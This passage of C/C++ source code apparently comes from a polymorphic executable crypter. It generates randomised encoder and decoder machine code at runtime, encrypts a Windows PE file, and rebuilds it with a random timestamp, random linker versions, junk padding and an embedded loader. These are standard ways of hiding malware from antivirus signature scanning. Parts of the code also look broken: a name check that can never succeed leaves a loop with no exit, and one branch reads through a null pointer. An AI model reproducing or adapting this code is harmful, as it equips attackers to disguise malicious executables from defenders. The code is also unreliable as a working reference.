  4929. MovReg32Reg32(LPB,REG_EAX,LCoderContext.SmashRegister);
  4930. PopReg32(LPB,REG_EDI);
  4931. PopReg32(LPB,REG_ESI);
  4932. PopReg32(LPB,REG_EBX);
  4933. Ret16(LPB,4);
  4934.  
  4935. LEncSize=DWORD(LPB)-DWORD(&LEncoderData);
  4936. OEncoder=(PCHAR)MyAlloc(LEncSize);
  4937. if(OEncoder==NULL)
  4938. {
  4939. return(0);
  4940. }
  4941. CopyMemory(OEncoder,&LEncoderData,LEncSize);
  4942.  
  4943. EncoderProc=(TEncoderProc)OEncoder;
  4944. LSmashNum=EncoderProc(MainDataCyp);
  4945.  
  4946. //-----------------------------------------------------------------
  4947. LPB=(PBYTE)(&LDecoderData);
  4948. //stub
  4949. PopReg32(LPB,LCoderContext.DataAddrRegister);
  4950. AddReg32Num32(LPB,LCoderContext.DataAddrRegister,AHostSize);
  4951. MovReg32Num32(LPB,LCoderContext.DataSizeRegister,AHostSize);
  4952. MovReg32Num32(LPB,LCoderContext.OffsetRegister,AHostSize);
  4953. MovReg32Num32(LPB,LCoderContext.SmashRegister,LSmashNum);
  4954. //main cycle
  4955. LPB2=LPB;
  4956. //dec offset
  4957. SubReg32Num8(LPB,LCoderContext.OffsetRegister,4);
  4958. //dec data ptr
  4959. SubReg32Num8(LPB,LCoderContext.DataAddrRegister,4);
  4960. //load data
  4961. MovReg32RegMem(LPB,LCoderContext.DataRegister,LCoderContext.DataAddrRegister);
  4962. //generate decoder instructions
  4963. for(i=LInstrCount;i>0;i--)
  4964. {
  4965. GenerateCoderInstruction(LDecoder,i-1);
  4966. }
  4967. //store data
  4968. MovRegMemReg32(LPB,LCoderContext.DataAddrRegister,LCoderContext.DataRegister);
  4969. //end of data?
  4970. TestReg32Reg32(LPB,LCoderContext.OffsetRegister,LCoderContext.OffsetRegister);
  4971. RelJnzAddr32(LPB,DWORD(-((DWORD(LPB)+6)-DWORD(LPB2))));
  4972.  
  4973. LDecSize=DWORD(LPB)-DWORD(&LDecoderData);
  4974.  
  4975. ODecoder=(PCHAR)MyAlloc(LDecSize);
  4976. if(ODecoder==NULL)
  4977. {
  4978. MyFree(OEncoder);
  4979. OEncoder=NULL;
  4980. return(0);
  4981. }
  4982. else
  4983. {
  4984. CopyMemory(ODecoder,&LDecoderData,LDecSize);
  4985.  
  4986. return(LDecSize);
  4987. }
  4988. }
  4989. //----------------------------------------------------------------------------------
  4990.  
  4991. //look for overlay data in MainData written at the end of original file
  4992. //fills AfterImageOverlays pointer its size - AfterImageOverlaysSize
  4993. void FindAfterImageOverlays()
  4994. {
  4995. int i;
  4996. PIMAGE_SECTION_HEADER LPSection;
  4997. DWORD LMaxAddr,LDataSize;
  4998. PIMAGE_DOS_HEADER LDOSHdr;
  4999. PIMAGE_NT_HEADERS LHdr;
  5000.  
  5001. AfterImageOverlays=NULL;
  5002. AfterImageOverlaysSize=0;
  5003. LMaxAddr=0;
  5004. LDOSHdr=(PIMAGE_DOS_HEADER)MainData;
  5005. LHdr=(PIMAGE_NT_HEADERS)(MainData+LDOSHdr->e_lfanew);
  5006. LPSection=(PIMAGE_SECTION_HEADER)(PCHAR(&LHdr->OptionalHeader)+LHdr->FileHeader.SizeOfOptionalHeader);
  5007.  
  5008. for(i=0;i<(int)LHdr->FileHeader.NumberOfSections;i++)
  5009. {
  5010. LDataSize=RoundSize(LPSection->SizeOfRawData,RawDataAlignment);
  5011. if((LPSection->PointerToRawData+LDataSize)>LMaxAddr)
  5012. {
  5013. LMaxAddr=LPSection->PointerToRawData+LDataSize;
  5014. }
  5015. LPSection++;
  5016. }
  5017. if((LMaxAddr>0)&&(LMaxAddr<MainRealSize))
  5018. {
  5019. AfterImageOverlays=PCHAR(MainData+LMaxAddr);
  5020. AfterImageOverlaysSize=MainRealSize-LMaxAddr;
  5021. }
  5022. }
  5023.  
  5024. //----------------------------------------------------------------
  5025. //The GetFunctionRVA function returns the relative virtual
  5026. //address (RVA) of a Function with location pointer.
  5027. DWORD GetFunctionRVA(void* FuncName)
  5028. {
  5029. #ifdef _DEBUG
  5030. #ifdef _VC6LINKER
  5031. return(DWORD(FuncName)+0x18);
  5032. #else
  5033. return(DWORD(FuncName)+0x1E);
  5034. #endif
  5035. #else
  5036. return(DWORD(FuncName)+0x6);
  5037. #endif
  5038. }
  5039.  
  5040. int _tmain(int argc, _TCHAR* argv[])
  5041. {
  5042. int i;
  5043. DWORD dw_temp;
  5044. PCHAR ch_temp;
  5045. if(!ProcessCmdLine(argc,argv))
  5046. {
  5047. Usage(InputFileName);
  5048. }
  5049. if(!Quiet) About();
  5050.  
  5051. InitRandom();//very important for this prog :)
  5052.  
  5053. MainFile=CreateFile(InputFileName
  5054. ,GENERIC_READ,FILE_SHARE_READ,
  5055. NULL,OPEN_EXISTING,0,0);
  5056.  
  5057. if(MainFile!=INVALID_HANDLE_VALUE)
  5058. {
  5059. MainRealSize=GetFileSize(MainFile,NULL);
  5060.  
  5061. if(!Quiet) printf("InputFile: %s (%d)",InputFileName,MainRealSize);
  5062.  
  5063. MainRealSize4=MainRealSize;
  5064. if((MainRealSize4 % 4)!=0) MainRealSize4+=4-MainRealSize4 % 4;
  5065.  
  5066. MainSize=MainRealSize+Random(100)+10;
  5067. MainData=(PCHAR)MyAlloc(MainSize);
  5068. MainDataCyp=(PCHAR)MyAlloc(MainSize);
  5069.  
  5070.  
  5071. if((MainData!=NULL)&&(MainDataCyp!=NULL))
  5072. {
  5073. GenerateRandomBuffer((PBYTE&)MainData,MainSize);
  5074. ZeroMemory(MainData,MainRealSize4);
  5075.  
  5076. if(ReadFile(MainFile,MainData,MainRealSize,&NumBytes,NULL))
  5077. {
  5078. CloseHandle(MainFile);
  5079. MainFile=INVALID_HANDLE_VALUE;
  5080. CopyMemory(MainDataCyp,MainData,MainSize);
  5081.  
  5082. if(CheckPEFile((PBYTE)MainData))
  5083. {
  5084. //Ptr=MainData+DWORD(PImageDosHeader(MainData)->e_lfanew));
  5085. ImageType=itExe;
  5086. HostCharacteristics=pimage_nt_headers->FileHeader.Characteristics;
  5087. if((HostCharacteristics&IMAGE_FILE_DLL)!=0) ImageType=itDLL;
  5088. HostExportSectionVirtualAddress=pimage_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
  5089.  
  5090. HostImageBase=pimage_nt_headers->OptionalHeader.ImageBase;
  5091. HostSubsystem=pimage_nt_headers->OptionalHeader.Subsystem;
  5092. HostSizeOfImage=pimage_nt_headers->OptionalHeader.SizeOfImage;
  5093. HostImportSectionSize=pimage_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
  5094. HostImportSectionVirtualAddress=pimage_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
  5095.  
  5096. HostResourceSectionVirtualAddress=pimage_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
  5097.  
  5098. if((HostSubsystem==IMAGE_SUBSYSTEM_WINDOWS_GUI)||
  5099. (HostSubsystem==IMAGE_SUBSYSTEM_WINDOWS_CUI))
  5100. {
  5101. FindAfterImageOverlays();
  5102. if (!Quiet)
  5103. {
  5104. printf("\n");
  5105. printf("\nImageType: ");
  5106. switch(ImageType)
  5107. {
  5108. case itExe:
  5109. printf("Executable");
  5110. break;
  5111.  
  5112. case itDLL:
  5113. printf("Dynamic Linking Library");
  5114. break;
  5115.  
  5116. case itSys:
  5117. printf("System Driver");
  5118. break;
  5119.  
  5120. default:
  5121. printf("unknown");
  5122. break;
  5123. }
  5124.  
  5125. printf("\nSubsystem: ");
  5126. if(HostSubsystem==IMAGE_SUBSYSTEM_WINDOWS_GUI)
  5127. {
  5128. printf("Windows GUI");
  5129. }
  5130. else
  5131. {
  5132. printf("Windows character");
  5133. }
  5134. }
  5135.  
  5136. TlsSectionSize=pimage_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size;
  5137. TlsSectionPresent=(TlsSectionSize!=0);
  5138.  
  5139. ExportSectionPresent=FALSE;
  5140. ExportSectionSize=0;
  5141. ExportData=NULL;
  5142. if(ImageType==itDLL)
  5143. {
  5144. ExportSectionSize=pimage_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
  5145. ExportSectionPresent=(ExportSectionSize!=0);
  5146. }
  5147.  
  5148. ResourceSectionPresent=FALSE;
  5149. HostResourceSectionSize=0;
  5150. ResourceData=NULL;
  5151. if((ImageType==itExe)||(ImageType==itDLL))
  5152. {
  5153. HostResourceSectionSize=pimage_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size;
  5154. ResourceSectionPresent=(HostResourceSectionSize!=0);
  5155. }
  5156.  
  5157. OverlayPresent=((AfterImageOverlays!=NULL) && (AfterImageOverlaysSize>0));
  5158.  
  5159. if(!Quiet)
  5160. {
  5161. if(TlsSectionPresent)
  5162. {
  5163. printf("\n.tls section is present");
  5164. printf("\noriginal .tls section size: %d",TlsSectionSize);
  5165. }
  5166. else
  5167. {
  5168. printf("\n.tls section not present");
  5169. }
  5170.  
  5171. if(ExportSectionPresent)
  5172. {
  5173. if(!DynamicDLL)
  5174. {
  5175. printf("\nexport section is present");
  5176. printf("\noriginal export section size: %d",ExportSectionSize);
  5177. }
  5178. else
  5179. {
  5180. printf("\nDynamic DLL - export section not used");
  5181. }
  5182. }
  5183. else
  5184. {
  5185. printf("\nexport section not present");
  5186. }
  5187.  
  5188. if(ResourceSectionPresent)
  5189. {
  5190. if(SaveIcon)
  5191. {
  5192. printf("\nresource section present");
  5193. }
  5194. else
  5195. {
  5196. printf("\nresource section present but not used");
  5197. }
  5198. }
  5199. else
  5200. {
  5201. printf("\nresource section not present");
  5202. }
  5203.  
  5204. if(OverlayPresent)
  5205. {
  5206. if(SaveOverlay)
  5207. {
  5208. printf("\noverlay data present");
  5209. }
  5210. else
  5211. {
  5212. printf("\noverlay data present but not used");
  5213. }
  5214. }
  5215. else printf("\noverlay data not present");
  5216. }
  5217.  
  5218. if(DynamicDLL) ExportSectionPresent=FALSE;
  5219. if(!SaveIcon) ResourceSectionPresent=FALSE;
  5220. if(!SaveOverlay) OverlayPresent=FALSE;
  5221.  
  5222. if(ResourceSectionPresent)
  5223. {
  5224. ResourceRoot=(PIMAGE_RESOURCE_DIRECTORY)
  5225. RVA2RAW(MainData,HostResourceSectionVirtualAddress);
  5226. ResourceDirEntry=(PIMAGE_RESOURCE_DIRECTORY_ENTRY)
  5227. RVA2RAW(MainData,HostResourceSectionVirtualAddress+sizeof(IMAGE_RESOURCE_DIRECTORY));
  5228. ResourceIconGroup=NULL;
  5229. ResourceXPManifest=NULL;
  5230.  
  5231. for(i=0;i<ResourceRoot->NumberOfIdEntries+ResourceRoot->NumberOfNamedEntries;i++)
  5232. {
  5233. if((ResourceIconGroup==NULL)&&(ResourceDirEntry->Name==WORD(RT_GROUP_ICON)))
  5234. {
  5235. ResourceIconGroup=(PIMAGE_RESOURCE_DIRECTORY)
  5236. RVA2RAW(MainData,HostResourceSectionVirtualAddress+ResourceDirEntry->OffsetToDirectory);
  5237. }
  5238.  
  5239. if((ResourceXPManifest==NULL)&&(ResourceDirEntry->Name==WORD(RT_XP_MANIFEST)))
  5240. {
  5241. ResourceXPManifest=(PIMAGE_RESOURCE_DIRECTORY)
  5242. RVA2RAW(MainData,HostResourceSectionVirtualAddress+ResourceDirEntry->OffsetToDirectory);
  5243. }
  5244.  
  5245. if(!((ResourceIconGroup==NULL)||(ResourceXPManifest==NULL))) break;
  5246. ResourceDirEntry++;
  5247. }
  5248.  
  5249. if(!((ResourceIconGroup==NULL)&&(ResourceXPManifest==NULL)))
  5250. {
  5251. ResourceData=(PCHAR)MyAlloc(HostResourceSectionSize);
  5252. if(ResourceData==NULL)
  5253. {
  5254. ErrorMsg("Unable to allocate memore for resource data");
  5255. ResourceSectionPresent=FALSE;
  5256. }
  5257. }
  5258. else
  5259. {
  5260. ResourceSectionPresent=FALSE;
  5261. }
  5262. if(!ResourceSectionPresent)
  5263. {
  5264. if(!Quiet)
  5265. {
  5266. printf("\nresource section has no icon or XP manifest");
  5267. }
  5268. }
  5269. }
  5270.  
  5271. MainDataDecoderLen=GenerateEncoderDecoder(MainRealSize4,MainDataEncoder,MainDataDecoder);
  5272.  
  5273. if(MainDataDecoderLen!=0)
  5274. {
  5275. LoaderRealSize=GetFunctionRVA(DynLoader_end)-GetFunctionRVA(DynLoader);
  5276. LoaderSize=LoaderRealSize+MainDataDecoderLen+Random(100)+4;
  5277. if ((LoaderSize % 4) >0 )
  5278. {
  5279. LoaderSize+=4-LoaderSize % 4;
  5280. }
  5281. if(!Quiet)
  5282. {
  5283. printf("\n");
  5284. printf("\nLoader size: %d",LoaderSize);
  5285. }
  5286.  
  5287. LoaderData=(PCHAR)MyAlloc(LoaderSize);
  5288.  
  5289. if(LoaderData!=NULL)
  5290. {
  5291. GenerateRandomBuffer((PBYTE)LoaderData,LoaderSize);
  5292. dw_temp=GetFunctionRVA(DynLoader);
  5293. ch_temp=(PCHAR)dw_temp;
  5294. CopyMemory(LoaderData,ch_temp,LoaderRealSize);
  5295.  
  5296. MainDataDecPtr=LoaderData;
  5297. memcpy(&dw_temp,MainDataDecPtr,4);
  5298. while(dw_temp!=DYN_LOADER_DEC_MAGIC)
  5299. {
  5300. MainDataDecPtr++;
  5301. memcpy(&dw_temp,MainDataDecPtr,4);
  5302. }
  5303. DynLoaderDecoderOffset=DWORD(MainDataDecPtr)-DWORD(LoaderData);
  5304. dw_temp=GetFunctionRVA(DynLoader);
  5305. ch_temp=(PCHAR)dw_temp;
  5306. CopyMemory(MainDataDecPtr+MainDataDecoderLen,
  5307. ch_temp+DynLoaderDecoderOffset+4,
  5308. LoaderRealSize-DynLoaderDecoderOffset);
  5309. CopyMemory(MainDataDecPtr,
  5310. MainDataDecoder,
  5311. MainDataDecoderLen);
  5312.  
  5313. KeySize=(WORD)Random(200)+50;
  5314. KeyPtr=Random(200);
  5315. LoaderPtr=KeyPtr+KeySize;
  5316. Trash2Size=(WORD)Random(256)+20;
  5317.  
  5318. if(!Quiet)
  5319. {
  5320. printf("\nEncryption key size: %d",KeySize);
  5321. }
  5322. Key=(PCHAR)MyAlloc(KeySize);
  5323. if(Key!=NULL)
  5324. {
  5325. GenerateKey((PBYTE)Key,KeySize);
  5326.  
  5327. ZeroMemory(&DosHeader,sizeof(DosHeader));
  5328. ZeroMemory(&NtHeaders,sizeof(NtHeaders));
  5329. ZeroMemory(&DosStubEnd,sizeof(DosStubEnd));
  5330. if(!Quiet)
  5331. {
  5332. printf("\n");
  5333. printf("\nBuilding DOS header ...");
  5334. }
  5335. DosHeader.e_magic = IMAGE_DOS_SIGNATURE;
  5336. DosHeader.e_cblp = 0x0050;
  5337. DosHeader.e_cp = 0x0002;
  5338. DosHeader.e_cparhdr = 0x0004;
  5339. DosHeader.e_minalloc= 0x000F;
  5340. DosHeader.e_maxalloc= 0xFFFF;
  5341. DosHeader.e_sp = 0x00B8;
  5342. DosHeader.e_lfarlc = 0x0040;
  5343. DosHeader.e_ovno = 0x001A;
  5344. DosHeader.e_lfanew = 0x0100;
  5345.  
  5346. if(!Quiet) printf("\nBuilding NT headers ...");
  5347. NtHeaders.Signature=IMAGE_NT_SIGNATURE;
  5348. NtHeaders.FileHeader.Machine=IMAGE_FILE_MACHINE_I386;
  5349. NtHeaders.FileHeader.NumberOfSections=2;
  5350. if(TlsSectionPresent)
  5351. {
  5352. NtHeaders.FileHeader.NumberOfSections++;
  5353. }
  5354. if(ExportSectionPresent)
  5355. {
  5356. NtHeaders.FileHeader.NumberOfSections++;
  5357. }
  5358. if(ResourceSectionPresent)
  5359. {
  5360. NtHeaders.FileHeader.NumberOfSections++;
  5361. }
  5362. if(!Quiet)
  5363. {
  5364. printf("\nNumber of sections: %d",NtHeaders.FileHeader.NumberOfSections);
  5365. }
  5366. NtHeaders.FileHeader.TimeDateStamp=Random(0x20000000)+0x20000000;
  5367. NtHeaders.FileHeader.SizeOfOptionalHeader=IMAGE_SIZEOF_NT_OPTIONAL_HEADER;
  5368. NtHeaders.FileHeader.Characteristics=IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_LINE_NUMS_STRIPPED
  5369. | IMAGE_FILE_LOCAL_SYMS_STRIPPED | IMAGE_FILE_32BIT_MACHINE;
  5370. switch(ImageType)
  5371. {
  5372. case itExe:
  5373. NtHeaders.FileHeader.Characteristics=NtHeaders.FileHeader.Characteristics | IMAGE_FILE_RELOCS_STRIPPED;
  5374. break;
  5375.  
  5376. case itDLL:
  5377. NtHeaders.FileHeader.Characteristics=NtHeaders.FileHeader.Characteristics | IMAGE_FILE_DLL;
  5378. break;
  5379. }
  5380. RandomValue=Random(10);
  5381. if(RandomValue>5)
  5382. {
  5383. NtHeaders.FileHeader.Characteristics=NtHeaders.FileHeader.Characteristics | IMAGE_FILE_BYTES_REVERSED_LO | IMAGE_FILE_BYTES_REVERSED_HI;
  5384. }
  5385.  
  5386. NtHeaders.OptionalHeader.Magic=IMAGE_NT_OPTIONAL_HDR_MAGIC;
  5387. NtHeaders.OptionalHeader.MajorLinkerVersion=(BYTE)Random(9)+1;
  5388. NtHeaders.OptionalHeader.MinorLinkerVersion=(BYTE)Random(99)+1;
  5389. NtHeaders.OptionalHeader.BaseOfCode=0x00001000; //may change
  5390. if(ReqImageBase!=0)
  5391. {
  5392. NtHeaders.OptionalHeader.ImageBase=RoundSize(ReqImageBase,0x00010000);
  5393. }
  5394. else
  5395. {
  5396. if(HostImageBase==0x00400000)
  5397. {
  5398. NtHeaders.OptionalHeader.ImageBase=RoundSize(HostImageBase+HostSizeOfImage+0x00100000,0x00010000);
  5399. }
  5400. else
  5401. {
  5402. NtHeaders.OptionalHeader.ImageBase=0x00400000;
  5403. }
  5404. }
  5405. if(!Quiet)
  5406. {
  5407. printf("\nImageBase: 0x%x",NtHeaders.OptionalHeader.ImageBase);
  5408. }
  5409. NtHeaders.OptionalHeader.SectionAlignment=0x00001000; //1000h = 4096
  5410. NtHeaders.OptionalHeader.FileAlignment=0x00000200; //may change 200h = 512
  5411. NtHeaders.OptionalHeader.MajorOperatingSystemVersion=0x0004;
  5412. NtHeaders.OptionalHeader.MajorSubsystemVersion=0x0004;
  5413. NtHeaders.OptionalHeader.SizeOfHeaders=0x00000400; //may change
  5414. NtHeaders.OptionalHeader.Subsystem=HostSubsystem;
  5415. NtHeaders.OptionalHeader.SizeOfStackReserve=0x00100000;
  5416. NtHeaders.OptionalHeader.SizeOfStackCommit=0x00010000; //may change
  5417. NtHeaders.OptionalHeader.SizeOfHeapReserve=0x00100000;
  5418. NtHeaders.OptionalHeader.SizeOfHeapCommit=0x00010000;
  5419. NtHeaders.OptionalHeader.NumberOfRvaAndSizes=0x00000010;
  5420.  
  5421. if(!Quiet)
  5422. {
  5423. printf("\n");
  5424. printf("\nBuilding .text section");
  5425. }
  5426. ZeroMemory(&CodeSection,sizeof(CodeSection));
  5427. CopyMemory(&CodeSection.Name,".text",5); //may change -> CODE
  5428. CodeSection.VirtualAddress=NtHeaders.OptionalHeader.BaseOfCode;
  5429. CodeSection.PointerToRawData=NtHeaders.OptionalHeader.SizeOfHeaders;
  5430.  
  5431. InitSize=Random(0x280)+0x280;
  5432. CodeSection.SizeOfRawData=RoundSize(LoaderPtr+LoaderSize+Trash2Size+InitSize+MainSize,RawDataAlignment);
  5433. CodeSectionVirtualSize=RoundSize(CodeSection.SizeOfRawData,NtHeaders.OptionalHeader.SectionAlignment);
  5434. if(CodeSectionVirtualSize<HostSizeOfImage)
  5435. {
  5436. CodeSectionVirtualSize=RoundSize(HostSizeOfImage,NtHeaders.OptionalHeader.SectionAlignment);
  5437. }
  5438. CodeSection.Misc.VirtualSize=CodeSectionVirtualSize;
  5439.  
  5440. NtHeaders.OptionalHeader.SizeOfCode=CodeSection.SizeOfRawData;
  5441.  
  5442. CodeSection.Characteristics=IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ;
  5443. if(!Quiet)
  5444. {
  5445. printf("\n.text section virtual address: 0x%x",CodeSection.VirtualAddress);
  5446. printf("\n.text section virtual size: 0x%x",CodeSection.Misc.VirtualSize);
  5447. }
  5448.  
  5449. if(!Quiet)
  5450. {
  5451. printf("\n");
  5452. printf("\nBuilding .idata section");
  5453. }
  5454.  
  5455. NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=
  5456. CodeSection.VirtualAddress+CodeSection.Misc.VirtualSize;//may change
  5457.  
  5458. ZeroMemory(&ImportSection,sizeof(ImportSection));
  5459. ImportSection.VirtualAddress=
  5460. NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
  5461. ImportSectionData=(PCHAR)MyAlloc(HostImportSectionSize+0x70);
  5462. ZeroMemory(ImportSectionData,HostImportSectionSize+0x70);
  5463. ImportSectionDLLCount=1;
  5464.  
  5465.  
  5466. if((HostImportSectionSize!=0) &&
  5467. (ImageType==itDLL)&&
  5468. (!DynamicDLL))
  5469. {
  5470. PB=MainData+VirtAddrToPhysAddr(MainData,HostImportSectionVirtualAddress);
  5471. PImportDesc=(PIMAGE_IMPORT_DESCRIPTOR)PB;
  5472. while (!((PImportDesc->Characteristics==0)&&(PImportDesc->TimeDateStamp==0)
  5473. &&(PImportDesc->ForwarderChain==0)&&(PImportDesc->Name==0)
  5474. &&(PImportDesc->FirstThunk==NULL)))
  5475. {
  5476. PB2=MainData+VirtAddrToPhysAddr(MainData,PImportDesc->Name);
  5477. if((strcmp(UpperCase(PB2),UpperCase(Kernel32Name))==0)
  5478. &&(strcmp(UpperCase(PB2),UpperCase(NtdllName))==0))
  5479. {
  5480. ImportSectionDLLCount++;
  5481. }
  5482. PImportDesc++;
  5483. }
  5484. }
  5485. PB=MainData+VirtAddrToPhysAddr(MainData,HostImportSectionVirtualAddress);
  5486. PImportDesc=(PIMAGE_IMPORT_DESCRIPTOR)PB;
  5487. PB2=ImportSectionData;
  5488. ZeroMemory(&ImportDesc,sizeof(ImportDesc));
  5489. ImportDesc.Characteristics=ImportSection.VirtualAddress+(ImportSectionDLLCount+1)*sizeof(ImportDesc);
  5490. ImportDesc.Name=ImportSection.VirtualAddress+(ImportSectionDLLCount+1)*sizeof(ImportDesc)+(NumberOfImports+1+2*(ImportSectionDLLCount-1))*sizeof(IMAGE_THUNK_DATA)*2;
  5491. ImportDesc.FirstThunk=ImportDesc.Characteristics+(NumberOfImports+1+2*(ImportSectionDLLCount-1))*sizeof(IMAGE_THUNK_DATA);
  5492. InitcodeThunk=ImportDesc.FirstThunk;
  5493.  
  5494. CopyMemory(PB2,&ImportDesc,sizeof(ImportDesc));
  5495. PB2+=sizeof(ImportDesc);
  5496. PB3=ImportSectionData+(ImportSectionDLLCount+1)*sizeof(ImportDesc);
  5497. PB4=ImportSectionData+ImportDesc.Name-ImportSection.VirtualAddress;
  5498. CopyMemory(PB4,Kernel32Name,Kernel32Size);
  5499. PB4+=RoundSize(Kernel32Size+1,2);
  5500.  
  5501. dw_temp=DWORD(PB4)-DWORD(ImportSectionData)+ImportSection.VirtualAddress-2;
  5502. memcpy(PB3,&dw_temp,4);
  5503. CopyMemory(PB4,GetProcAddressName,GetProcAddressSize);
  5504. PB4+=RoundSize(GetProcAddressSize+1,2);
  5505. PB3+=sizeof(DWORD);
  5506.  
  5507. dw_temp=DWORD(PB4)-DWORD(ImportSectionData)+ImportSection.VirtualAddress-2;
  5508. memcpy(PB3,&dw_temp,4);
  5509. CopyMemory(PB4,LoadLibraryName,LoadLibrarySize);
  5510. PB4+=RoundSize(LoadLibrarySize+1,2);
  5511. PB3+=sizeof(DWORD);
  5512. PB3+=sizeof(DWORD);
  5513.  
  5514.  
  5515. if((HostImportSectionSize!=0)&&(ImageType==itDLL)&&(!DynamicDLL ))
  5516. {
  5517. for(i=2;i<=(int)ImportSectionDLLCount;i++)
  5518. {
  5519. ZeroMemory(&ImportDesc,sizeof(ImportDesc));
  5520. ImportDesc.Characteristics=DWORD(PB3)-DWORD(ImportSectionData)+ImportSection.VirtualAddress;
  5521. ImportDesc.Name=DWORD(PB4)-DWORD(ImportSectionData)+ImportSection.VirtualAddress;
  5522. ImportDesc.FirstThunk=ImportDesc.Characteristics+(NumberOfImports+1+2*(ImportSectionDLLCount-1))*sizeof(IMAGE_THUNK_DATA);
  5523. CopyMemory(PB2,&ImportDesc,sizeof(ImportDesc));
  5524. PB2+=sizeof(ImportDesc);
  5525.  
  5526. while(TRUE)
  5527. {
  5528. PB=MainData+VirtAddrToPhysAddr(MainData,PImportDesc->Name);
  5529. if((strcmp(UpperCase(PB),UpperCase(Kernel32Name))==0)
  5530. &&(strcmp(UpperCase(PB),UpperCase(NtdllName))==0))
  5531. {
  5532. break;
  5533. }
  5534. PImportDesc++;
  5535. }
  5536. AnyDWORD=(DWORD)strlen(PB);
  5537. CopyMemory(PB4,PB,AnyDWORD);
  5538.  
  5539. PB4+=RoundSize(AnyDWORD+1,2);
  5540. PB=RVA2RAW(MainData,PImportDesc->FirstThunk);
  5541. memcpy(&dw_temp,PB,4);
  5542. if((dw_temp & 0x80000000)==0)
  5543. {
  5544. memcpy(&dw_temp,PB,4);
  5545. PB=RVA2RAW(MainData,dw_temp);
  5546. if(PB==NULL)
  5547. {
  5548. PB=RVA2RAW(MainData,PImportDesc->OriginalFirstThunk);
  5549. if(PB==NULL)
  5550. {
  5551. memcpy(&dw_temp,PB,4);
  5552. if((dw_temp & 0x80000000)!=0)
  5553. {
  5554. memcpy(PB3,PB,4);
  5555. PB=NULL;
  5556. }
  5557. else
  5558. {
  5559. memcpy(&dw_temp,PB,4);
  5560. PB=RVA2RAW(MainData,dw_temp);
  5561. }
  5562. }
  5563. }
  5564. if(PB!=NULL)
  5565. {
  5566. PB+=2;
  5567. AnyDWORD=(DWORD)strlen(PB);
  5568. dw_temp=DWORD(PB4)-DWORD(ImportSectionData)+ImportSection.VirtualAddress;
  5569. memcpy(PB3,&dw_temp,4);
  5570. PB4+=2;
  5571. CopyMemory(PB4,PB,AnyDWORD);
  5572. PB4+=RoundSize(AnyDWORD+1,2);
  5573. }
  5574. }
  5575. else
  5576. {
  5577. memcpy(PB3,PB,4);
  5578. }
  5579. PImportDesc++;
  5580. PB3+=sizeof(DWORD);
  5581. PB3+=sizeof(DWORD);
  5582. }
  5583. }
  5584.  
  5585. PB3=ImportSectionData+(ImportSectionDLLCount+1)*sizeof(ImportDesc);
  5586. PB=PB3;
  5587. AnyDWORD=(NumberOfImports+1+2*(ImportSectionDLLCount-1))*sizeof(IMAGE_THUNK_DATA);
  5588. PB+=AnyDWORD;
  5589. CopyMemory(PB,PB3,AnyDWORD);
  5590. ImportSectionDataSize=DWORD(PB4)-DWORD(ImportSectionData);
  5591.  
  5592. CopyMemory(&ImportSection.Name,".idata",6);
  5593. ImportSection.Misc.VirtualSize=RoundSize(ImportSectionDataSize,NtHeaders.OptionalHeader.SectionAlignment);
  5594. ImportSection.SizeOfRawData=RoundSize(ImportSectionDataSize,RawDataAlignment);
  5595. ImportSection.PointerToRawData=CodeSection.PointerToRawData+CodeSection.SizeOfRawData;
  5596. NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size=ImportSection.SizeOfRawData;
  5597. ImportSection.Characteristics=IMAGE_SCN_CNT_CODE | IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ;
  5598.  
  5599. CurVirtAddr=ImportSection.VirtualAddress+ImportSection.Misc.VirtualSize;
  5600. CurRawData=ImportSection.PointerToRawData+ImportSection.SizeOfRawData;
  5601.  
  5602. if(!Quiet)
  5603. {
  5604. printf("\n.idata section virtual address: 0x%x",ImportSection.VirtualAddress);
  5605. printf("\n.idata section virtual size: 0x%x",ImportSection.Misc.VirtualSize);
  5606. }
  5607.  
  5608. // .tls Section
  5609. if(TlsSectionPresent)
  5610. {
  5611. if(!Quiet)
  5612. {
  5613. printf("\n");
  5614. printf("\nBuilding .tls section");
  5615. }
  5616. TlsCopy.Directory=&pimage_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
  5617. TlsCopy.SectionData=(PIMAGE_TLS_DIRECTORY__)
  5618. RVA2RAW(MainData,TlsCopy.Directory->VirtualAddress);
  5619. if(TlsCopy.SectionData!=NULL)
  5620. {
  5621. TlsCopy.RawDataLen=TlsCopy.SectionData->EndAddressOfRawData-TlsCopy.SectionData->StartAddressOfRawData;
  5622. TlsCopy.RawData=(DWORD)MyAlloc(TlsCopy.RawDataLen);
  5623.  
  5624. PB=RVA2RAW(MainData,TlsCopy.SectionData->StartAddressOfRawData-HostImageBase);
  5625. ch_temp=(PCHAR)TlsCopy.RawData;
  5626. if(PB!=NULL) CopyMemory(ch_temp,PB,TlsCopy.RawDataLen);
  5627. else ZeroMemory(ch_temp,TlsCopy.RawDataLen);
  5628.  
  5629. PB=(PCHAR)RVA2RAW(MainData,TlsCopy.SectionData->AddressOfCallBacks-HostImageBase);
  5630. if(PB==NULL)
  5631. {
  5632. TlsCopy.CallbacksLen=4;
  5633. TlsCopy.Callbacks=(PCHAR)MyAlloc(TlsCopy.CallbacksLen);
  5634. ZeroMemory(TlsCopy.Callbacks,TlsCopy.CallbacksLen);
  5635. }
  5636. else
  5637. {
